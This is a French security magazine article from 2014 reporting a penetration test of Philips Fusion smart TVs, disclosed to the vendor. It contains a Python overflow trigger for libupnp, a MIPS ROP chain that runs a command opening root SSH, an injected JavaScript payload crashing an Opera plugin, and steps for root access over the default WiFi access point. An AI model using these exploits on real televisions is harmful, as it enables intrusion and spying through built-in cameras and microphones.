Télévisions connectées : des objets branchés sécurité ?

MISC n° 075 | septembre 2014 | Frédéric Basse
Creative Commons
  • Actuellement 0 sur 5 étoiles
0
Merci d'avoir participé !
Vous avez déjà noté cette page, vous ne pouvez la noter qu'une fois !
Votre note a été changée, merci de votre participation !
Les smart TV font partie des premiers « objets connectés » apparus et leur popularité ne cesse de croître depuis. Cette longueur d'avance leur a possiblement permis d'atteindre un niveau de sécurité satisfaisant, mais nous allons tout de même vérifier en réalisant quelques tests d'intrusion.

1. Introduction

Les télévisions dites « smart » sont dotées d'une connectivité réseau pour accéder à des services et contenus multimédias. Tels les smartphones, elles permettent l'accès à la vidéo à la demande, la navigation Web, le téléchargement d'applications sur un « marché », la visioconférence, etc. Leur OS peut être mis à jour par le constructeur pour ajouter de nouvelles fonctionnalités ou corriger des bugs. Ces innovations nécessitent d'embarquer de nouveaux composants matériels comme une carte Ethernet et/ou Wifi, de la mémoire de stockage flash, des ports USB, une webcam, un microphone.

Mais du point de vue de la sécurité, ces évolutions ont significativement élargi la surface d'attaque disponible tout en augmentant le bénéfice de la compromission pour un attaquant.

Ces travaux concernent les smart TV Philips basées sur la plateforme Fusion. Le constructeur a été informé de toutes les vulnérabilités découvertes.

2. Collecte d'informations

Afin de mieux comprendre le fonctionnement de l'appareil, nous recherchons les informations techniques disponibles auprès de sources publiques.

2.1 Travaux antérieurs

Le premier réflexe est de consulter les recherches déjà publiées sur Internet concernant ce constructeur. Un port UART a été identifié sur le panneau arrière. Les fichiers de mises à jour ont été inspectés, mais semblent chiffrés. Une vulnérabilité de type traversée de répertoire dans le service HTTP a été découverte dans certaines versions du firmware [0]. Elle permet d'accéder à l'ensemble du système de fichiers, à condition toutefois de connaître leur chemin. Enfin, Revuln a découvert que la clé du point d'accès WiFi, activé par défaut, est statique [1].

2.2 Logiciels sous licences libres

Pour assurer toutes ces fonctionnalités, le constructeur a recours aux logiciels libres pour créer le firmware. Certaines de leurs licences imposent de redistribuer le code modifié, ou tout au moins de mentionner leur présence. Ces codes sources et patchs divulguent des informations techniques pertinentes sur le fonctionnement interne de l'appareil. Notamment, ils nous apprennent que le firmware est basé sur un chargeur d’amorçage U-boot et un noyau Linux. De plus, la liste des logiciels embarqués permet de rechercher d’éventuelles vulnérabilités connues, et d'auditer le code pour en trouver de nouvelles. Par exemple, la bibliothèque libupnp est mentionnée conformément à sa licence.

2.3 UART

Un port série, sous la forme d'une prise jack 3.5, est accessible à l'arrière de la télévision. Après identification des broches [2], nous connectons ce port à l'ordinateur à l'aide d'un convertisseur FTDI. Le logiciel minicom permet de lire les données qui y sont transmises :

U-Boot 2009.01_Production (Apr 22 2013 - 14:17:32)
NAND:  NAND, size:1024MB, Micron(ID:0x2c,0x38), block size:512KB
Found 7 partitions
Creating 1 MTD partitions on "NAND 1GMiB 3,3V 8-bit":
## Executing script at 82400000
## Starting application at 0xA5C00000 …

Nous constatons qu'il s'agit d'un port console actif dès le chargeur d'amorçage. Cette interface fournit des informations techniques très utiles pour comprendre le fonctionnement du système. Par exemple, le chemin du programme de mise à jour est divulgué lorsqu'il est démarré.

3. Analyse des mises à jour

Les fichiers de mise à jour sont les cibles idéales pour accéder facilement au firmware embarqué dans un appareil. En effet, ils consistent souvent en un firmware de remplacement complet, plutôt qu'un delta de l'ancienne version. Néanmoins, leur format est généralement atypique, voire propriétaire, et éventuellement compressé et/ou chiffré.

3.1 Réflexe Binwalk

L'outil phare et indispensable pour analyser un firmware est Binwalk. Il est capable d'identifier un grand nombre de formats de fichiers et de les extraire. Mais dans notre cas, il ne donne aucun résultat probant. L'entropie du fichier, calculée avec Binwalk ou Cryptools, se révèle être élevée en moyenne, ce qui suggère la présence de compression ou de chiffrement. Cependant, nous pouvons distinguer plusieurs zones où elle chute de moitié :

Fig. 1 : Graphique Binwalk de l'entropie en fonction de la position dans le fichier.

Les données correspondantes sont des répétitions d'un groupe de 16 octets, ce qui écarte l'hypothèse d'une compression de ces zones. En revanche, ce sont les caractéristiques de données chiffrées avec le mode ECB (Electronic CodeBook) dans lequel deux clairs identiques ont le même chiffré.

3.2 Merci qui ? Jack et MIPS ELF

Dans l'impossibilité d'analyser directement les mises à jour, nous nous intéressons alors au programme qui les traite. Grâce à la divulgation de son chemin sur le système de fichiers par le port série, et surtout à la vulnérabilité publique de type traversée de répertoire, nous pouvons le récupérer simplement. Ce binaire est un exécutable ELF 32-bit pour architecture MIPS.

3.3 Rétro-ingénierie MIPS

MIPS est une architecture RISC compatible little-endian et big-endian. Les différentes révisions existantes du jeu d'instructions ont introduit différentes améliorations telles que la compatibilité 64-bit (MIPS64), ou des instructions spécifiques à certains calculs (DSP ASE).

Les instructions MIPS sont exécutées dans un pipeline à plusieurs étages. Lors du décodage d'une instruction de saut (branch), l'instruction à l'adresse suivante a déjà été chargée dans le pipeline. Or, le saut peut entraîner le flot d'exécution vers une tout autre instruction. Pour éviter de gâcher un cycle, l'instruction qui suit un branch est systématiquement exécutée (branch delay slot). Les compilateurs y placent des instructions utiles, qui seront exécutées avant la rupture du flot d'exécution.

Il existe plusieurs ABI (Application binary interface) selon le type de programme et de processeur. L'ABI o32, destinée aux programmes 32 bits sur processeurs 32 bits, est celle utilisée dans ce système.

Elle spécifie qu'une fonction appelée n'est pas tenue de préserver les registres temporaires $t0 à $t9, d'arguments $a0 à $a3, de retour $v0 et $v1, ainsi que le registre $gp.

Lors d'un appel de fonction, son adresse est placée dans le registre $t9. Ses arguments sont passés dans les registres $a0-$a3, puis sur la pile si nécessaire. Enfin, l'instruction de saut redirige le flot d'exécution vers l'adresse contenue dans le registre $t9. La valeur de retour est stockée dans les registres $v0, et $v1 si besoin.

lw $t9, -0x7FAC($gp) # adresse de la fonction à appeler dans $t9
lw $a0, 0x8($sp) # argument 1
move $a1, $s1 # argument 2
jalr $t9 # appel de la fonction
move $a2, $s0 # argument 3 (branch delay slot)

L'adresse de la fonction est obtenue par déréférencement du pointeur $gp à un index pré-calculé (à la compilation). Le registre $gp pointe au milieu de la Global Offset Table (GOT), qui contient entre autres les adresses des fonctions locales et externes.

Le calcul de $gp est effectué dans le prologue de chaque fonction. À cet endroit, le mécanisme d'appel implique que $t9 contienne toujours l'adresse du point d'entrée de la fonction courante. Comme la GOT est projetée en mémoire à une adresse relativement fixe au segment de code, une constante calculée à la compilation permet de faire pointer $gp vers le milieu de la GOT.

lui $gp, 2 # $gp = 0x20000
addiu $gp, $gp, -0x780 # $gp = $gp - 0x780
addu $gp, $gp, $t9 # $gp = $t9 + 0x1F880

Ainsi, le code est exécutable indépendamment de sa position en mémoire (code PIC, Position-independent code). Une résolution automatique des symboles de ces appels est implémentée dans IDA Pro 5.5.

3.4 Analyse du chiffrement

Avant de plonger, équipés d'IDA Pro, dans les tréfonds du programme de gestion des mises à jour, nous tentons une phase de reconnaissance en surface.

Le plugin FindCrypt [3], qui permet d'identifier des algorithmes de chiffrement, détecte une constante utilisée par AES. L'inspection des strings suggère, par la présence d'un copyright, le recours à la bibliothèque open source de calcul multiprécision BigDigits. Afin de gagner du temps, il est souhaitable d'écarter ce code open source de l'analyse par rétro-ingénierie.

Une première solution consisterait à cross-compiler BigDigits, puis de générer un fichier de signatures FLIRT [4] correspondant. Appliqué à notre exécutable, cela identifierait précisément les fonctions qui proviennent de cette bibliothèque. Mais cela nécessite des conditions de compilation similaires (flags et version du compilateur) à celles de l'exécutable, que nous ignorons.

Dans cette situation, il est plus indiqué de recourir à l'outil BinDiff [5]. Il a l'avantage de tolérer les variations mineures du code qui peuvent être provoquées par des conditions de compilations différentes.

Fig. 2 : Extrait des résultats de la comparaison entre l'exécutable et la bibliothèque BigDigits.

Les symboles des fonctions BigDigits qui ont des correspondances dans l'exécutable peuvent ensuite être importés.

Pour débuter l'analyse, nous ciblons la routine qui lit la mise à jour grâce aux appels à la bibliothèque standard de C (fopen, fread). Nous constatons que le fichier de mise à jour contient une entête structurée, en clair et de taille fixe. Un membre de cette structure est passé en paramètre s de la fonction mpModExp. Les deux autres paramètres (e, n) de cet appel sont lus depuis un fichier local, accessible également grâce à la vulnérabilité de type traversée de répertoire.

La fonction mpModExp de la bibliothèque BigDigits calcule une exponentiation modulaire, soit v ≡ se (mod n). Cette opération, primitive du chiffrement RSA, est à la base de la signature numérique des mises à jour. Le paramètre s est la signature numérique du fichier émise par le constructeur, et le couple (e, n) est la clé publique RSA. Le résultat v est ensuite traité en deux parties distinctes : les 20 premiers octets représentent le condensat SHA1 du fichier complet (sauf la signature évidemment). Les 32 octets suivants représentent la clé AES pour déchiffrer en mode ECB les données utiles situées après l'entête.

Avant d'appliquer la mise à jour, le condensat SHA1 des données déchiffrées est calculé puis comparé à celui provenant de la signature. Le plugin FindCrypt n'a pas détecté l'algorithme SHA1 dans le code, car les constantes SHA1 de 32 bits sont séparées dans deux instructions successives en valeurs immédiates de 16 bits.

Grâce à la signature numérique, l'authenticité et l'intégrité du fichier de mise à jour sont garanties. Néanmoins, la confidentialité n'est pas assurée dès que la clé RSA publique est extraite, puisqu'elle permet de déchiffrer les mises à jour passées et futures.

3.5 Extraction des données

La mise à jour déchiffrée est une simple concaténation de fichiers préfixés d'une entête :

typedef struct _entry_header {
 char filename[60]; // nom du fichier
 uint32_t iRealSize; // taille réelle du fichier
 uint32_t iStoredSize; // taille alignée du fichier
 uint32_t iHeaderSize; // taille de cette entête
 uint32_t iAttributes; // attributs du fichier
 char extension[]; // champs optionnels
} entry_header;

Après extraction [6], nous obtenons les images des partitions. Cet accès au contenu du firmware facilite la compréhension du système et la recherche de vulnérabilités. Par exemple, nous pouvons remarquer que la partition de boot contient deux noyaux Linux et que la configuration Netfilter gère un adressage IP interne, ce qui ne peut qu'inciter à prolonger l'exploration.

4. Pentests réseau

Cette smart TV possède deux interfaces réseau :

- Ethernet : pour accéder au LAN et à Internet. Elle est configurée par DHCP si disponible ;

- WiFi : pour créer un point d'accès sans-fil Miracast. Des appareils tiers (téléphone, tablette, etc.) peuvent s'y connecter pour diffuser du contenu vidéo sur l'écran. Ils pourront être configurés par le serveur DHCP intégré.

Nous recherchons les risques de sécurité selon plusieurs angles d'attaque :

- Connexion directe : dans le même sous-réseau (pour le broadcast), sans filtrage ;

- MITM : en position pour intercepter voire modifier les flux réseau ;

- Hors du réseau : dans un périmètre suffisamment proche pour interagir par radio.

4.1 Connexion directe

Dans un premier temps, l'écoute passive du trafic Ethernet avec Wireshark montre la présence d'un service UPnP.

Fig. 3 : Paquet UPnP envoyé en broadcast sur le réseau par la smart TV.

Bien que la bannière contenue dans ce paquet ne le mentionne pas, ce service est susceptible d'être basé sur la bibliothèque libupnp, puisqu'elle est mentionnée dans les sources.

Ensuite, nous réalisons un scan des ports ouverts sur la cible avec Nmap. Là encore, nous nous reposons sur les informations collectées précédemment pour identifier les services associés :

- 1925/tcp : API HTTP pour contrôler la smart TV (changement de chaîne, du volume, etc.). La vulnérabilité de type traversée de répertoire déjà évoquée concerne ce service ;

- 2323/tcp : RPC Voodoo pour exécuter des applications DirectFB à distance ;

- 8000/tcp : Non identifié ;

- 49153/tcp : Service HTTP dédié à UPnP.

Le même scan effectué depuis l'interface WiFi donne des résultats identiques.

4.1.1 Service UPnP

La seule évocation d'un service UPnP suffit pour se remémorer les recherches de Rapid7 [7] publiées en janvier 2013. Ces travaux ont dévoilé des vulnérabilités critiques dans plusieurs bibliothèques libres UPnP, dont libupnp.

4.1.1.1 Identification de la bibliothèque

Comme les sources du constructeur mentionnent libupnp, nous pouvons supposer qu'elle est utilisée. Afin de vérifier si elle est vulnérable, le code suivant envoie un paquet UPnP pour déclencher un des débordements de pile (CVE-2012-5958) découverts par Rapid7 :

#!/usr/bin/python
import socket

pkt = "NOTIFY * HTTP/1.1\r\n" +\
 "HOST: 239.255.255.250:1900\r\n" +\
 "USN:uuid:schemas:device:" +\
 "A" * 512 + ":end\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, ('239.255.255.250', 1900))

Une exception apparaît alors sur le port console de la smart TV :

Exception in process 681: SIGSEGV: address not mapped to object
 EPC = 0x41414141
 RA = 0x41414141
SIGSEGV: address not mapped to object: process = dlnaApp (681)

Nous constatons que l'adresse de retour a été écrasée, donc le service UPnP est vulnérable et n'a pas de protection de pile (Stack Smashing Protection). De plus, nous apprenons que ce processus s'appelle dlnaApp.

4.1.1.2 Contexte d'exploitation

L'extraction du firmware nous donne accès au binaire vulnérable dlnaApp et aux bibliothèques dont il dépend. Pour déterminer les possibilités d'exploitation, nous devons connaître les mécanismes de mitigation présents.

Dans un premier temps, nous vérifions la présence d'ASLR sur les bibliothèques partagées. D'après les sources libres du firmware, la version du noyau utilisée est 2.6.35. Or, pour l'architecture MIPS, cette fonction a été implémentée dans une version supérieure [8]. Par conséquent, les bibliothèques partagées ne sont pas chargées à des adresses aléatoires.

En revanche, l'ASLR sur la pile est probablement actif, car implémenté dans une version antérieure [9].

L'outil checksec.sh [10] est capable de détailler plus précisément les mécanismes de mitigation présents.

Quant au bug en lui-même, l'avis de sécurité de Rapid7 précise qu'un certain nombre d'octets sont interdits dans le buffer qui écrase la pile, notamment l'octet nul.

4.1.1.3 Exploitation

L'absence de protection de pile et d'ASLR sur les bibliothèques partagées est une condition suffisante pour exploiter ce débordement de pile en return-oriented programming (ROP). L'impossibilité d'utiliser l'octet nul dans la chaîne de ROP exclut les gadgets du code du binaire, puisque l'octet fort de leur adresse est nul.

L'objectif est d'exécuter une commande système arbitraire. Pour cela, nous devons placer l'adresse de la commande dans $a0, puis rediriger l'exécution vers l'adresse de la fonction system(), que nous obtenons dans le binaire Libc. Comme nous ne pouvons pas modifier directement le registre $a0, nous utilisons une chaîne de gadgets pour le faire pointer dans une zone de la pile que nous contrôlons.

Des outils comme mipsrop [11] et ROPgadget [12], conçus pour faciliter la recherche de gadgets, vont nous permettre de concocter facilement une chaîne qui atteint l'objectif en trois gadgets.

Cette chaîne profite de la restauration des registres lors de l'épilogue de la fonction vulnérable pour y placer les adresses des gadgets.

lw $ra, 0x15C($sp) # @gadget_1
lw $s3, 0x158($sp)
lw $s2, 0x154($sp) # @system()
lw $s1, 0x150($sp) # @gadget_2
lw $s0, 0x14C($sp) # @gadget_3
jr $ra # début de l'exploitation
addiu $sp, 0x160

Le premier gadget de chaîne copie l'adresse de la fonction system() dans $a3, et saute sur le gadget suivant.

move $a3, $s2 # @system()
lw $a1, 4($s0)
move $t9, $s1 # @gadget_2
jalr $t9
lw $a2, 8($s0)

Le second gadget fait pointer $a1 vers la commande système sur la pile, peu après la chaîne de ROP, et saute sur le gadget suivant.

addiu $a1, $sp, 0x18# commande système
move $t9, $s0 # @gadget_3
jalr $t9
move $a2, $zero

Le dernier copie $a1 dans $a0 et appelle la fonction system().

move $t9, $a3 # @system()
jalr $t9
move $a0, $a1 # commande système (branch delay slot)

La commande système que nous exécutons profite de la présence du binaire Dropbear pour ouvrir un accès SSH :

/sbin/iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT ; /usr/sbin/dropbear -F

Dropbear n'est pas placé en tâche de fond, car la pile et les registres détériorés mèneraient inévitablement au crash.

Enfin, nous nous connectons en SSH à la smart TV avec le mot de passe du compte root obtenu dans le fichier /etc./passwd du firmware :

$ ssh root@192.168.1.25

root@PLF-CPU:~#

4.2 MITM

Pour réaliser ces tests, notre ordinateur est en coupure, connecté à la smart TV par Ethernet et à Internet par WiFi. Nous utilisons l'outil Burp Suite [13] pour intercepter le trafic HTTP(S) en mode transparent, c'est-à-dire qu'aucun proxy n'est configuré sur la smart TV.

Ce mode d'interception requiert quelques configurations supplémentaires sur notre ordinateur. Nous créons un serveur DHCP/DNS avec Dnsmasq, et nous configurons Netfilter pour router le trafic provenant de la smart TV vers le proxy Burp :

# iptables -t nat -A PREROUTING -i eth0 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports 8080

Nous interceptons les connexions Web récurrentes que la smart TV initie automatiquement pour des raisons qui lui incombent. Nous constatons alors qu'elle ne vérifie pas la plupart des certificats SSL serveurs auxquels elle se connecte.

4.2.1 Plan d'attaque

L'objectif est de profiter du MITM SSL pour attaquer la smart TV en altérant les réponses à ses requêtes Web. Nous ciblons la connexion au service de guide électronique des programmes (EPG). L'User-Agent de cette requête est Opera, et la réponse contient du code HTML, donc nous supposons être dans un contexte d'exploitation de navigateur Web.

Le firmware extrait précédemment permet de constater que plusieurs plugins ont été ajoutés à Opéra. Basés sur du code propriétaire, ce sont des cibles privilégiées pour rechercher des vulnérabilités.

4.2.2 Plugin NPAPI

Un plugin étend les fonctionnalités du navigateur en ajoutant le support de nouveaux types MIME. Il a notamment la capacité d'exposer un objet dans le DOM. Il implémente l'API NPAPI pour s'interfacer avec Opéra.

Nous choisissons d'analyser avec IDA Pro le plugin qui gère les enregistrements vidéo programmés. L'objectif est de déterminer les nouvelles fonctions qu'il apporte dans le navigateur.

Lors de l'initialisation du plugin, le navigateur appelle la fonction NP_GetMIMEDescription qui renvoie les types MIME supportés par le plugin. Dans notre cas, cette valeur est :

application/NetTV_oipfRecordingScheduler:unk:pvr object;

Opera appelle aussi la fonction NPP_GetValue pour obtenir l'éventuel objet qui est exposé dans le DOM. En paramètre d'appel, la constante NPPVpluginScriptableNPObject (0xF) désigne cet objet en particulier. Cette valeur nous aide à localiser la partie du code de NPP_GetValue qui l'instancie.

Ce code appelle NPN_CreateObject avec en paramètre une structure NPClass qui référence les fonctions natives de l'objet :

struct NPClass_v1 {
 uint32_t structVersion;
 NPAllocateFunctionPtr allocate;
 NPDeallocateFunctionPtr deallocate;
 NPInvalidateFunctionPtr invalidate;
 NPHasMethodFunctionPtr hasMethod;
 NPInvokeFunctionPtr invoke;
 NPInvokeDefaultFunctionPtr invokeDefault;
 NPHasPropertyFunctionPtr hasProperty;
 NPGetPropertyFunctionPtr getProperty;
 NPSetPropertyFunctionPtr setProperty;
 NPRemovePropertyFunctionPtr removeProperty;
};

Nous pouvons ainsi découvrir les méthodes de l'objet en analysant la fonction invoke, et ses propriétés en analysant les fonctions getProperty/setProperty. L'analyse de la fonction allocate permet de découvrir d'autres structures NPClass, correspondant à d'autres objets.

4.2.3 Recherche de vulnérabilités

Nous avons pu énumérer la liste des objets exposés, ainsi que leurs méthodes et propriétés. Nous avons maintenant une connaissance suffisante du plugin pour aborder la phase de recherche de vulnérabilités.

À titre d'exemple, nous avons décelé, après une brève analyse statique, un bug dans le setter de la propriété name. Pour vérifier notre hypothèse, nous injectons dans le flux SSL ce code HTML/Javascript qui affecte une valeur de grande taille à la propriété name :

<object id="obj" type="application/NetTV_oipfRecordingScheduler"></object>
<script type="text/javascript">
obj.recordAt(1405094400,2100,1, "ccid:C18")
obj.getScheduledRecordings().item(0).name = Array(1024).join('A');
</script>

Une exception apparaît alors sur le port console de la smart TV :

recp_RecordAt in ols rec: starttime 1405094400 duration 2100 channelid ccid:C18
*** stack smashing detected ***: /philips/apps/nettvApp terminated
Exception in process 331: SIGABRT: software abort
 EPC = 0x2c08ef04
 RA = 0x2c093a1c

Ce code a provoqué une corruption de pile qui a été détectée par un mécanisme de mitigation. L'exploitation de ce bug n'est peut être pas possible, mais les multiples plugins présents créent une importante surface d'attaque qu'il reste à explorer.

4.3 Hors du réseau

4.3.1 HbbTV

La technologie HbbTV permet aux chaînes de télévision de multiplexer un contenu HTML avec leurs signaux audio/vidéo. Ce contenu est automatiquement chargé par la smart TV quand l'utilisateur change de chaîne. Il peut être soit entièrement embarqué dans le flux diffusé, soit un lien HTTP(S) pointe vers le contenu, qui devra être chargé depuis Internet.

Dans les deux cas, Y.Oren & A.D. Keromytis [14] ont montré qu'un attaquant a la possibilité de diffuser un flux DVB-T avec un contenu HTML arbitraire. En pratiquant sur les flux HTTP(S) HbbTV le même MITM décrit précédemment, nous avons constaté qu'il est possible de déclencher le bug du plugin Opera.

Cela signifie qu'un attaquant peut utiliser la diffusion DVB-T pour exploiter une vulnérabilité dans un plugin d'Opera, tout au moins.

4.3.2 WiFi

Le point d'accès WiFi Miracast est activé par défaut et protégé par une PSK. En mars 2014, Revuln divulgue que cette clé est statique, et qu'il n'y a aucun filtrage des clients qui se connectent. Le constructeur a publié un correctif quelques jours après, qui introduit une étape de confirmation avant de permettre à un client de se connecter.

Nous commençons par examiner la configuration Netfilter extraite du firmware, et remarquons des règles inactives, appliquées uniquement dans un contexte de développement :

# We need an SSH connection to the APP CPU so we redirect port 44 to port 22
/sbin/iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 44 -j DNAT --to 172.21.1.2:22
/sbin/iptables -A FORWARD -o vec0 -p tcp --dport 22 -j ACCEPT

Dans le cas d'une smart TV de production, nous ne bénéficions pas de ces règles de forwarding.

En revanche, d'autres règles actives nous autorisent le forwarding depuis l'interface WiFi wl0.1 :

/sbin/sysctl -w net.ipv4.ip_forward=1
# Allow Wifi direct peer full access to the outside world[...]
/sbin/iptables -A FORWARD -o wl0.1 -m state --state RELATED,ESTABLISHED -j ACCEPT
/sbin/iptables -A FORWARD -i wl0.1 -j ACCEPT

Nous nous connectons au point d'accès WiFi de la smart TV, qui a pour IP 172.23.1.1. Le serveur DHCP nous attribut l'IP 172.23.1.2/16, sans doute par défaut.

Nous définissons manuellement la route par défaut vers l'IP de la smart TV :

# route add default gw 172.23.1.1 dev wlan0

Puis nous tentons de nous connecter au serveur SSH évoqué dans la configuration NetFilter :

$ ssh root@172.21.1.2
root@APP-CPU:~#

Le serveur SSH est désormais joignable, et le mot de passe du compte root est dans le fichier /etc./passwd du firmware.

5 Exploration du système

Les exploitations de libupnp et de l'accès SSH qui viennent d'être démontrées donnent accès respectivement aux systèmes PLF et APP. Ce sont deux noyaux Linux distincts qui fonctionnent simultanément.

Le système PLF est la plateforme principale, et APP est destiné aux applications. Tous les processus ont les droits root. Les interfaces réseau vec0 (virtual ethernet card) créent un lien réseau virtuel entre les deux noyaux (le code source est disponible dans les sources du firmware).

Par défaut, il est possible de se connecter en SSH depuis PLF sur APP, mais pas l'inverse.

Les deux systèmes partagent les mêmes partitions, sauf que le système APP y accède en NFS.

La partition système est en lecture seule, mais la partition de données est inscriptible. De fait, il est possible d'altérer les fichiers de données que les programmes PLF accèdent pour exploiter une vulnérabilité locale [15]. Pratiquée depuis le système APP, cette exploitation permet au final d'obtenir un accès à PLF depuis l'interface WiFi.

Le système PLF gère notamment la caméra intégrée, compatible V4L2. L'accès à PLF, que ce soit par l'exploitation libupnp depuis l'Ethernet ou l'exploitation d'un programme PLF via APP depuis le WiFi, permet donc de récupérer ces flux vidéo et audio.

Conclusion

Ces smart TV exposent une grande surface d'attaque due à l'assemblage complexe de logiciels variés qu'elles embarquent. De plus, certaines interfaces telles que DVB et ZigBee (télécommande) créent des vecteurs d'attaque nouveaux.

La principale difficulté pour parvenir à l'exploitation est le caractère secret du firmware. Or, de notoriété publique, cela n'assure pas une réelle sécurité.

Une fois cette étape atteinte, peu de bonnes pratiques ou de mécanismes de mitigation sont implémentés pour prévenir l'exploitation.

L'autre effet négatif qu'engendre cette situation est la difficulté à déterminer si l'objet connecté est sain ou compromis.

Remerciements

Je tiens à remercier mes collègues pour leurs conseils et relectures. Et pour m'avoir laissé accès à la télé pendant la coupe du monde.

Références

[0] JointSpace Server Directory Traversal Vulnerability - Martin Schobert, sitsec.net

[1] Having fun via WiFi - http://vimeo.com/90138302

[2] Reverse Engineering Serial Ports - http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/

[3] FindCrypt - http://www.hexblog.com/?p=27

[4] F.L.I.R.T. - https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml

[5] BinDiff - http://www.zynamics.com/bindiff.html

[6] pflupg-tool - https://github.com/frederic/pflupg-tool

[7] Security flaws in universal plug and play - https://community.rapid7.com/docs/DOC-2150

[8] MIPS: Randomize mmap if randomize_va_space is set - https://github.com/torvalds/linux/commit/1091458d09

[9] MIPS: User stack pointer randomisation - https://github.com/torvalds/linux/commit/941091024e

[10] checksec.sh - http://www.trapkit.de/tools/checksec.html

[11] mipsrop - https://github.com/devttys0/ida/tree/master/plugins/mipsrop

[12] ROPgadget - https://github.com/JonathanSalwan/ROPgadget

[13] Burp Suite - http://portswigger.net/burp/

[14] From the Aether to the Ethernet - http://iss.oy.ne.ro/Aether

[15] Sécurité des ordivisions - https://www.sstic.org/2014/presentation/securite_des_ordivisions/